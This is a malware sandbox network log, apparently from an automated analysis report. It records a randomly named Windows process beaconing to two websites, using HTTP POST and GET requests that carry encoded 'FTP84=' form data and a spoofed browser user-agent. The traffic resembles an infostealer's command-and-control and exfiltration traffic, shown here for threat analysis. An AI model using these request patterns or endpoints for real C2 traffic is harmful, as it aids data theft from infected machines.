10	192.168.2.7	64465	46.30.215.51	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:06.538366079 CEST	760	OUT	POST /e5cg/ HTTP/1.1 Host: www.vivaepicmarbella.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.vivaepicmarbella.com Referer: http://www.vivaepicmarbella.com/e5cg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 7a 67 35 76 53 4f 79 48 45 42 73 52 70 7a 5a 32 68 4d 65 68 6c 46 68 54 42 31 46 62 78 5a 67 4c 68 57 4b 4b 5a 6b 51 4b 75 4b 73 53 33 48 31 79 34 54 59 79 76 6d 53 45 46 41 6a 4b 67 33 53 34 37 6f 38 6a 4d 44 47 5a 72 4f 49 58 30 46 43 6a 63 36 6c 33 65 47 59 6c 56 62 30 4e 45 4c 51 47 35 33 33 38 46 73 4c 73 77 32 48 38 66 79 69 45 34 57 47 67 45 2f 30 37 6e 61 37 2b 35 71 42 4a 63 5a 6c 42 43 72 45 35 50 6f 6b 4d 48 55 59 37 71 74 61 76 63 4d 30 4c 43 6a 37 2b 73 38 73 70 47 69 6b 39 77 38 78 74 58 43 2f 69 71 72 56 5a 4f 72 57 39 78 2f 47 44 4b 37 31 6c 47 76 7a 73 66 4f 73 2b 36 6c 47 74 4e 32 34 41 4f 62 4e 52 58 6f 66 78 4d 49 51 71 63 34 45 43 46 36 74 42 7a 37 65 38 67 63 67 3d Data Ascii: FTP84=zg5vSOyHEBsRpzZ2hMehlFhTB1FbxZgLhWKKZkQKuKsS3H1y4TYyvmSEFAjKg3S47o8jMDGZrOIX0FCjc6l3eGYlVb0NELQG5338FsLsw2H8fyiE4WGgE/07na7+5qBJcZlBCrE5PokMHUY7qtavcM0LCj7+s8spGik9w8xtXC/iqrVZOrW9x/GDK71lGvzsfOs+6lGtN24AObNRXofxMIQqc4ECF6tBz7e8gcg=
Jul 1, 2024 19:25:07.172175884 CEST	453	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:25:07 GMT Server: Apache Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 X-Onecom-Cluster-Name: X-Varnish: 18437441792 Age: 0 Via: 1.1 webcache2 (Varnish/trunk) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	64466	46.30.215.51	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:09.076472044 CEST	1773	OUT	POST /e5cg/ HTTP/1.1 Host: www.vivaepicmarbella.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1250 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.vivaepicmarbella.com Referer: http://www.vivaepicmarbella.com/e5cg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 7a 67 35 76 53 4f 79 48 45 42 73 52 70 7a 5a 32 68 4d 65 68 6c 46 68 54 42 31 46 62 78 5a 67 4c 68 57 4b 4b 5a 6b 51 4b 75 4b 6b 53 33 56 39 79 71 41 77 79 2b 57 53 45 4d 67 6a 50 67 33 53 6c 37 6f 55 76 4d 44 61 6a 72 4c 4d 58 31 69 43 6a 62 4c 6c 33 56 47 59 6c 58 62 30 4d 5a 62 52 45 35 33 48 67 46 73 62 73 77 32 48 38 66 30 65 45 2b 44 6d 67 43 2f 30 34 67 61 37 49 76 61 41 57 63 5a 73 38 43 72 51 44 50 63 51 4d 48 77 34 37 35 50 79 76 44 38 30 46 46 6a 36 37 73 38 68 33 47 68 52 47 77 34 78 55 58 43 48 69 76 4f 38 42 57 50 6d 47 77 38 57 4b 55 4a 78 6f 4b 65 6a 66 53 2b 67 31 37 57 32 33 58 57 4d 64 4a 64 42 38 61 66 4c 73 4d 65 73 43 51 70 67 48 43 36 63 7a 30 4b 43 62 38 4a 58 43 62 76 43 56 46 6b 57 76 4f 36 67 49 65 78 45 38 77 6d 6a 62 6a 72 42 4e 33 70 2f 4d 79 59 59 6c 59 6a 46 45 6e 65 34 42 6d 49 58 61 5a 77 4e 64 55 31 68 6a 72 52 45 34 30 55 31 50 43 4d 46 79 57 31 72 31 2f 65 59 54 65 73 51 56 64 31 34 76 66 4b 38 30 74 53 34 66 42 44 73 4c 71 4e 4c 68 58 42 67 48 [TRUNCATED] Data Ascii: FTP84=zg5vSOyHEBsRpzZ2hMehlFhTB1FbxZgLhWKKZkQKuKkS3V9yqAwy+WSEMgjPg3Sl7oUvMDajrLMX1iCjbLl3VGYlXb0MZbRE53HgFsbsw2H8f0eE+DmgC/04ga7IvaAWcZs8CrQDPcQMHw475PyvD80FFj67s8h3GhRGw4xUXCHivO8BWPmGw8WKUJxoKejfS+g17W23XWMdJdB8afLsMesCQpgHC6cz0KCb8JXCbvCVFkWvO6gIexE8wmjbjrBN3p/MyYYlYjFEne4BmIXaZwNdU1hjrRE40U1PCMFyW1r1/eYTesQVd14vfK80tS4fBDsLqNLhXBgHGHyCgFDomMvMS/hEDKAJbK9J6wOCWSQzHtf1CZ6QS//Q+ZhKm0IPy3hflPTktJVo+5qDef5Riss3SMr+3d/QqQ3xQUDVFjlBktXCJmTVYldQeb5y6qKjbWRz8ETwtkrlLMXrmjUcj/7MSmzVVJpFoRkPJ4ACqoN/Kc2HHVnctZTWpdz9hzo6wzJV2DoFqYv3nDgoHeB56497PdRmzXZDiBE/mC+UNX/AfE9NWzLQeVHIcVDVwbs4OOCXANr/a9TRaEoS9uv71KgWEze7JuTVgW1DHda5KXYrBHcX8m/OK6cBi2jK3Aw4tgCna/N9v2FIqcbYGpHgNFHVx9goAn/ZL3oNkcG/ogHB2kLqLN/yr1239q58oB24F007TfSOdfVJ6qUzldSWQZXQty7cfhcvUZvnmB5+lz17i+I3I4udhtkUXio7jyuuIf7ySTgyVcJQ9dTw6F42ymcjw4SWiDW37NK7JGqZbENwOM6iCF/urLZySIRJxSC0kDcOGdY6Fb6KCw/HHS7/FeF1vbZHBhF5v7GmQTdT+4UZkZS9gO3vG1Dz5snzda90dT66le5MWo6NLXnLH9dpo/pbKUHT4OAHvfcd11J1oWNoqpx8b/ovbYylMp1YF/jxCyVjOVEScjbexAvUc3YSAgYn3VEwoeGJOAxnsVl8Ymg+QD [TRUNCATED]
Jul 1, 2024 19:25:09.798964977 CEST	453	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:25:09 GMT Server: Apache Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 X-Onecom-Cluster-Name: X-Varnish: 18289636085 Age: 0 Via: 1.1 webcache2 (Varnish/trunk) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	64467	46.30.215.51	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:11.804732084 CEST	463	OUT	GET /e5cg/?FTP84=+iRPR6b0cHsvtSIKktiBhFksQ3J0g8xQjEPnQEYx5YYVoEZd7QcDm2acLw7Tj1bPoKM8M2uZ1cEL1EuWaogQQhFlafU2EKFDhhDWP+Lh20TqHHOR+DrFC95KlJHLt9tMC+FdDZkSCqct&Lb=GFtlIrHx8T50 HTTP/1.1 Host: www.vivaepicmarbella.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Jul 1, 2024 19:25:12.455271006 CEST	453	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:25:12 GMT Server: Apache Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 X-Onecom-Cluster-Name: X-Varnish: 18204808545 Age: 0 Via: 1.1 webcache2 (Varnish/trunk) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	64468	74.208.236.162	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:17.499043941 CEST	725	OUT	POST /u4jq/ HTTP/1.1 Host: www.lookstudiov.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.lookstudiov.com Referer: http://www.lookstudiov.com/u4jq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 50 42 68 30 2b 66 31 63 2f 79 72 62 66 4f 2f 34 38 56 4e 77 64 59 51 4e 65 63 41 6c 6e 32 6d 63 76 7a 35 63 6d 6c 2b 4c 73 6d 4c 68 32 52 54 42 36 44 6c 39 43 59 6d 50 31 69 6a 31 32 4c 39 78 6f 2b 57 4c 6c 31 38 58 70 38 35 4b 2b 37 59 65 71 6b 45 67 67 7a 76 34 57 56 74 71 33 72 51 34 35 6c 64 56 79 39 6c 4b 66 67 61 49 48 63 2f 54 6d 33 37 52 45 4f 4e 35 54 43 65 55 4c 5a 51 52 39 50 4c 4b 55 75 4f 71 6f 52 59 5a 34 52 4f 51 65 6c 67 76 77 6e 6a 66 42 63 38 63 65 33 67 36 64 4d 58 62 59 34 7a 63 46 41 49 6c 63 71 51 46 6e 4f 6f 65 62 43 54 52 41 69 78 62 69 67 6d 63 38 45 49 2f 49 69 6d 50 69 4a 74 47 77 67 6f 35 67 67 3d 3d Data Ascii: FTP84=PBh0+f1c/yrbfO/48VNwdYQNecAln2mcvz5cml+LsmLh2RTB6Dl9CYmP1ij12L9xo+WLl18Xp85K+7YeqkEggzv4WVtq3rQ45ldVy9lKfgaIHc/Tm37REON5TCeULZQR9PLKUuOqoRYZ4ROQelgvwnjfBc8ce3g6dMXbY4zcFAIlcqQFnOoebCTRAixbigmc8EI/IimPiJtGwgo5gg==
Jul 1, 2024 19:25:18.313036919 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Mon, 01 Jul 2024 17:25:17 GMT Server: Apache X-Powered-By: PHP/8.2.20 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://lookstudiov.com/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 33 30 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 7d 7d 77 db 36 b2 f7 df cd a7 60 94 d3 44 da 8a 92 28 c9 b2 2d 5b e9 ed 76 db e7 f6 39 dd 6d 4f d3 de bb 7b 37 7b 7c 28 09 b2 98 48 a2 96 a4 fc b2 5e 7f f7 fb 9b 01 40 02 7c d1 8b ed 74 93 bb 4d 6b 5b 02 81 99 c1 60 30 18 60 06 c3 67 e7 cf ff f0 c3 d7 3f ff e5 c7 6f 9c 79 b2 5c bc 7e 76 4e 7f 9c 85 bf ba 1c d5 c4 ca fd e5 4d cd 99 fa 89 ef c6 fe 95 70 27 e1 22 8c dc 78 32 17 4b 31 aa dd 8a 58 3d bc dd bc 0f dc 44 96 2e 82 cb 79 52 23 40 c2 9f be 7e e6 e0 df f9 52 24 be 33 99 fb 51 2c 92 51 ed 97 9f bf 75 4f 50 23 7b b4 f2 09 de 55 20 ae d7 61 94 d4 9c 49 b8 4a c4 0a 55 af 83 69 32 1f 4d c5 55 30 11 2e 7f 69 3a c1 2a 48 02 7f 01 32 fc 85 18 79 ad 8e 05 6a 9e 24 6b 57 fc 7d 13 5c 8d 6a 7f 76 7f f9 ca fd 3a 5c ae fd 24 18 2f 84 01 37 10 23 31 bd 14 ba e5 22 58 bd 77 22 b1 18 d5 d6 51 38 0b a8 ea 3c 12 b3 51 8d a0 0d db ed cb e5 fa b2 15 46 97 ed 9b d9 aa ed 79 68 f6 d9 79 12 24 0b f1 fa 47 ff 52 38 ab 30 71 66 e1 66 35 75 5e be 38 e9 7a de 99 f3 7d 18 [TRUNCATED] Data Ascii: 303f}}w6`D(-[v9mO{7{\|(H^@\|tMk[`0`g?oy\~vNMp'"x2K1X=D.yR#@~R$3Q,QuOP#{U aIJUi2MU0.i:H2yj$kW}\jv:\$/7#1"Xw"Q8<QFyhy$GR80qff5u^8z}w$i:uuI>pg_E8LWiW_-7X_q=\x@h' 1]kz&ajGqrGDfo3[!.@o^&=Oc2AK<uuX7"Ie/6ooqFmmOHmsmi7Z&noW_]>24F'njsers}vd?(V.dVejh:jyI&KN=mVz\5qSrgR$g.i,$f,_vfY,$anaZqam=i4u DkF?IR4;M\|WW>TDu.H4P^/~PT4s%X%WQE4>[h
Jul 1, 2024 19:25:18.313054085 CEST	224	IN	Data Raw: a6 69 c5 34 35 9f 8a 9a c6 59 24 92 4d b4 72 92 96 80 10 dc d6 35 03 89 7d 8d 3b f5 50 8c 46 a3 e8 af c9 df ee 1b 19 83 37 9a c1 f1 75 40 ec 47 ed 09 24 aa 36 5b f8 97 b5 a1 6a b8 42 a5 da db cd f4 a4 37 c1 ef d9 ac f7 76 33 13 9d d9 db 4d b7 d3 Data Ascii: i45Y$Mr5};PF7u@G$6[jB7v3M?%jcZv:Y@TelGqhJ?wGga\|6LV7J"WD]3=XSk>"e>N"vY
Jul 1, 2024 19:25:18.313065052 CEST	1236	IN	Data Raw: ba f0 7c 44 cb 4a 38 73 fe 3b 8c de 8b e8 ff 2d c2 b1 bf 78 33 09 d7 e2 e5 cb 58 2c 66 58 7e 31 df 57 93 d2 2a 5f 92 3c ff 30 9b 41 51 0b b1 fa 9a 27 68 bd d7 e9 34 bd a3 4e 63 18 b4 50 0c 05 f1 cd 02 e6 c3 2a a9 d7 e4 0c ae 35 9a fe 28 a2 69 f8 Data Ascii: \|DJ8s;-x3X,fX~1W_<0AQ'h4NcP5(i5-6s_wpT[TS,Xp]kjNu7WOgB}C*6J~S@O#8h2Dk;EOkXM)&}esA{#um\
Jul 1, 2024 19:25:18.313076973 CEST	224	IN	Data Raw: 52 f0 23 12 06 6e 51 f7 7a 47 53 71 d9 8c 2e c7 7e 7d d0 f4 fa c7 cd 6e f7 b8 e9 35 9c ce e7 54 58 f7 8e 8e 9a 27 1e 0a fb 0d c7 eb 74 3e 6f e4 fa a4 01 b9 98 44 36 87 33 dc 26 1b ab f1 d7 bd 6e 17 78 60 fa 9f 74 52 f4 9d 66 b7 73 d2 f4 7a 28 d9 Data Ascii: R#nQzGSq.~}n5TX't>oD63&nx`tRfsz(#B.h8~;e5*<)7xJloR7O%Z2%P4O:7]'a ~t5h:[?l#A59@u.
Jul 1, 2024 19:25:18.313119888 CEST	1236	IN	Data Raw: 81 2e a3 c6 18 a8 d3 93 86 73 92 96 01 41 ff a4 79 bc 93 7d d0 95 50 95 52 94 f5 9c db 42 3c 49 45 b7 33 40 0f 00 59 21 f3 48 7c 8e 40 7d 7f a7 d0 4a 6c bc 28 fb 9b 9b ad 6c ea 1e a1 0b e8 96 37 c0 18 18 dd ea 1f 35 fb 28 39 d2 c8 21 27 9d e6 a0 Data Ascii: .sAy}PRB<IE3@Y!H\|@}Jl(l75(9!'ki1;kzj,SiNl>=XWA:x^exOHC@E-1*u;f}Bi8L^{=lStEp;&+}(tT1ztX?Vl&Jdo,pZ&,
Jul 1, 2024 19:25:18.313133001 CEST	1236	IN	Data Raw: 40 81 23 66 52 c7 4e 78 40 8e 9a 2f 1c da 11 39 5c 86 7d 7d af 97 96 9d 15 ba 4a ae 24 f4 72 ee c7 e8 12 3c 12 92 f4 3b 45 61 36 23 ca bc 17 0d 4b a3 31 8c fc 61 e5 9e e0 f2 cd 4a 20 b3 73 63 4f 70 5c b7 04 46 ea fc d8 13 4e 5a bf 04 96 3c 97 c7 Data Ascii: @#fRNx@/9\}}J$r<;Ea6#K1aJ scOp\FNZ<i%<YI9qe=@l<kVnTUZQ\J`{OZ%PyUDR@Jz"c.y9H%)cBY'D6zCyz
Jul 1, 2024 19:25:18.313150883 CEST	1236	IN	Data Raw: b8 60 bc c4 c4 4f a0 b5 ff a7 de a7 9b 5b 8d b3 b5 88 f8 a2 0d cd 55 22 05 21 0b ea a0 98 ee 78 6d e2 21 2e 4a a8 2e 50 2c b2 ee 02 7f 96 f1 40 43 8e 5b 94 1a a1 94 34 c9 ab 32 b2 86 c3 b1 00 51 a2 59 20 78 38 f4 67 88 a7 84 d3 92 17 c9 e1 ab 57 Data Ascii: `O[U"!xm!.J.P,@C[42QY x8gW)8,?&eLZ`=w=sGE TJNJ%J!7.) Fdmx/ngFc.[-t.8O]voFjV>\BCR<{Sd2(
Jul 1, 2024 19:25:18.313163042 CEST	1236	IN	Data Raw: 25 e9 0a 95 d1 b4 80 50 b3 3a 35 33 99 d3 26 8d 7c 87 84 b2 30 e4 ba 2c f7 7d 6e 88 d4 9d 22 19 f2 61 92 8d 96 d6 1a eb f1 3d 1d 5e e1 ee 0b a3 90 9f f3 4a f1 60 ab 8c 6e f6 db da 89 1c 40 da 80 20 24 2e bc 48 48 28 3c 51 da 9c 8b 96 21 76 54 ab Data Ascii: %P:53&\|0,}n"a=^J`n@ $.HH(<Q!vT;E/LX%(Q[hp}2gsCN'%G^pzGUfn\S[!=Jii%{TO@QD"`EG-IM*4mHP@@bZJm\.
Jul 1, 2024 19:25:18.313179016 CEST	1236	IN	Data Raw: a2 22 f7 7e 1b 6b ca 67 a8 3d 78 1f f7 12 93 0e a4 3c 9e 7e a4 01 a8 d6 4a 29 3d 50 a9 6b 24 29 ae ec 7f fe 70 94 dd a3 56 d3 19 de fc 55 7d 61 c6 36 48 ac 86 78 75 d7 44 cc 43 3a 7a df d3 9e b1 9a 2b fb ae 92 72 d3 ff 54 a4 5a b5 ae 20 be dc 20 Data Ascii: "~kg=x<~J)=Pk$)pVU}a6HxuDC:z+rTZ !kiM+L}WOsAiJND>[N-W6lfq0r~k_QVd;I $jO7V_K7&paPlSN-'[RLCU181y^1
Jul 1, 2024 19:25:18.313215017 CEST	1236	IN	Data Raw: 57 fe a2 d0 22 a4 48 95 e4 56 95 eb ea 31 de f4 26 54 99 a7 40 84 08 bb 0a 34 64 f9 4c 5a 54 f2 b3 a6 20 c0 39 e6 6a a2 1b cb 67 ec e1 91 1f ef 6b e0 a7 4f af 5b 8f 31 4b e2 f7 c1 da e5 09 0a 65 26 c4 0a bd e4 ac 80 e4 5f d0 72 f9 42 0d 39 1a 7e Data Ascii: W"HV1&T@4dLZT 9jgkO[1Ke&_rB9~$tREm31{CoNR.ApYhU_KUJ4a:TYsxTE1Gpj/Rh(fQ\|RHWkStd]5<qt$a,!H;,+T,o@%Bz%j
Jul 1, 2024 19:25:18.320240974 CEST	1236	IN	Data Raw: db ad af e8 93 f3 4b fc 09 f5 6f b0 c7 d2 15 89 19 0e c8 2e 22 91 6c 22 e4 aa c7 28 2e 71 64 73 eb fc 88 7c e1 93 db 4f a7 b3 bd 93 3d 46 33 9e 87 b0 93 de e0 f7 c7 d4 31 35 1f e9 40 46 d9 ca 6c 3b 5b 9f c9 a2 34 b7 8e 59 fc 8d b4 d4 b2 ef b9 44 Data Ascii: Ko."l"(.qds\|O=F315@Fl;[4YD$jmTS!?5e2<+435R)bNi<j_GdI_.A5+I{ ._=;tC(ED( W&ABqjh&7uM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	64469	74.208.236.162	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:20.040369034 CEST	745	OUT	POST /u4jq/ HTTP/1.1 Host: www.lookstudiov.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.lookstudiov.com Referer: http://www.lookstudiov.com/u4jq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 50 42 68 30 2b 66 31 63 2f 79 72 62 65 76 76 34 36 43 5a 77 61 34 52 2f 62 63 41 6c 74 57 6d 59 76 7a 39 63 6d 6d 79 39 74 55 76 68 32 30 33 42 35 43 6c 39 42 59 6d 50 39 43 6a 77 34 72 39 76 6f 2b 71 44 6c 30 73 58 70 38 39 4b 2b 37 6f 65 71 54 59 6a 68 6a 76 6d 44 46 74 30 36 4c 51 34 35 6c 64 56 79 39 67 64 66 6b 2b 49 47 73 50 54 6e 53 50 53 59 2b 4e 36 55 43 65 55 50 5a 51 56 39 50 4c 34 55 72 57 41 6f 54 67 5a 34 55 79 51 65 77 56 35 70 58 6a 6a 4e 4d 39 64 54 46 4a 59 62 4d 2f 45 42 35 33 65 62 69 59 52 55 38 4e 6e 39 73 6b 79 46 54 72 71 45 67 56 74 31 47 37 70 2b 46 4d 6e 46 41 53 75 39 2b 49 73 39 79 4a 39 32 59 68 7a 6e 41 39 54 39 41 41 71 30 62 43 57 7a 62 78 73 51 51 34 3d Data Ascii: FTP84=PBh0+f1c/yrbevv46CZwa4R/bcAltWmYvz9cmmy9tUvh203B5Cl9BYmP9Cjw4r9vo+qDl0sXp89K+7oeqTYjhjvmDFt06LQ45ldVy9gdfk+IGsPTnSPSY+N6UCeUPZQV9PL4UrWAoTgZ4UyQewV5pXjjNM9dTFJYbM/EB53ebiYRU8Nn9skyFTrqEgVt1G7p+FMnFASu9+Is9yJ92YhznA9T9AAq0bCWzbxsQQ4=
Jul 1, 2024 19:25:20.869039059 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Mon, 01 Jul 2024 17:25:20 GMT Server: Apache X-Powered-By: PHP/8.2.20 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://lookstudiov.com/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 33 30 33 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 7d 7d 77 db 36 b2 f7 df cd a7 60 94 d3 44 da 8a 92 28 c9 b2 2d 5b e9 ed 76 db e7 f6 39 dd 6d 4f d3 de bb 7b 37 7b 7c 28 09 b2 98 48 a2 96 a4 fc b2 5e 7f f7 fb 9b 01 40 02 7c d1 8b ed 74 93 bb 4d 6b 5b 02 81 99 c1 60 30 18 60 06 c3 67 e7 cf ff f0 c3 d7 3f ff e5 c7 6f 9c 79 b2 5c bc 7e 76 4e 7f 9c 85 bf ba 1c d5 c4 ca fd e5 4d cd 99 fa 89 ef c6 fe 95 70 27 e1 22 8c dc 78 32 17 4b 31 aa dd 8a 58 3d bc dd bc 0f dc 44 96 2e 82 cb 79 52 23 40 c2 9f be 7e e6 e0 df f9 52 24 be 33 99 fb 51 2c 92 51 ed 97 9f bf 75 4f 50 23 7b b4 f2 09 de 55 20 ae d7 61 94 d4 9c 49 b8 4a c4 0a 55 af 83 69 32 1f 4d c5 55 30 11 2e 7f 69 3a c1 2a 48 02 7f 01 32 fc 85 18 79 ad 8e 05 6a 9e 24 6b 57 fc 7d 13 5c 8d 6a 7f 76 7f f9 ca fd 3a 5c ae fd 24 18 2f 84 01 37 10 23 31 bd 14 ba e5 22 58 bd 77 22 b1 18 d5 d6 51 38 0b a8 ea 3c 12 b3 51 8d a0 0d db ed cb e5 fa b2 15 46 97 ed 9b d9 aa ed 79 68 f6 d9 79 12 24 0b f1 fa 47 ff 52 38 ab 30 71 66 e1 66 35 75 5e be 38 e9 7a de 99 f3 7d 18 [TRUNCATED] Data Ascii: 303d}}w6`D(-[v9mO{7{\|(H^@\|tMk[`0`g?oy\~vNMp'"x2K1X=D.yR#@~R$3Q,QuOP#{U aIJUi2MU0.i:H2yj$kW}\jv:\$/7#1"Xw"Q8<QFyhy$GR80qff5u^8z}w$i:uuI>pg_E8LWiW_-7X_q=\x@h' 1]kz&ajGqrGDfo3[!.@o^&=Oc2AK<uuX7"Ie/6ooqFmmOHmsmi7Z&noW_]>24F'njsers}vd?(V.dVejh:jyI&KN=mVz\5qSrgR$g.i,$f,_vfY,$anaZqam=i4u DkF?IR4;M\|WW>TDu.H4P^/~PT4s%X%WQE4>[h
Jul 1, 2024 19:25:20.869061947 CEST	224	IN	Data Raw: a6 69 c5 34 35 9f 8a 9a c6 59 24 92 4d b4 72 92 96 80 10 dc d6 35 03 89 7d 8d 3b f5 50 8c 46 a3 e8 af c9 df ee 1b 19 83 37 9a c1 f1 75 40 ec 47 ed 09 24 aa 36 5b f8 97 b5 a1 6a b8 42 a5 da db cd f4 a4 37 c1 ef d9 ac f7 76 33 13 9d d9 db 4d b7 d3 Data Ascii: i45Y$Mr5};PF7u@G$6[jB7v3M?%jcZv:Y@TelGqhJ?wGga\|6LV7J"WD]3=XSk>"e>N"vY
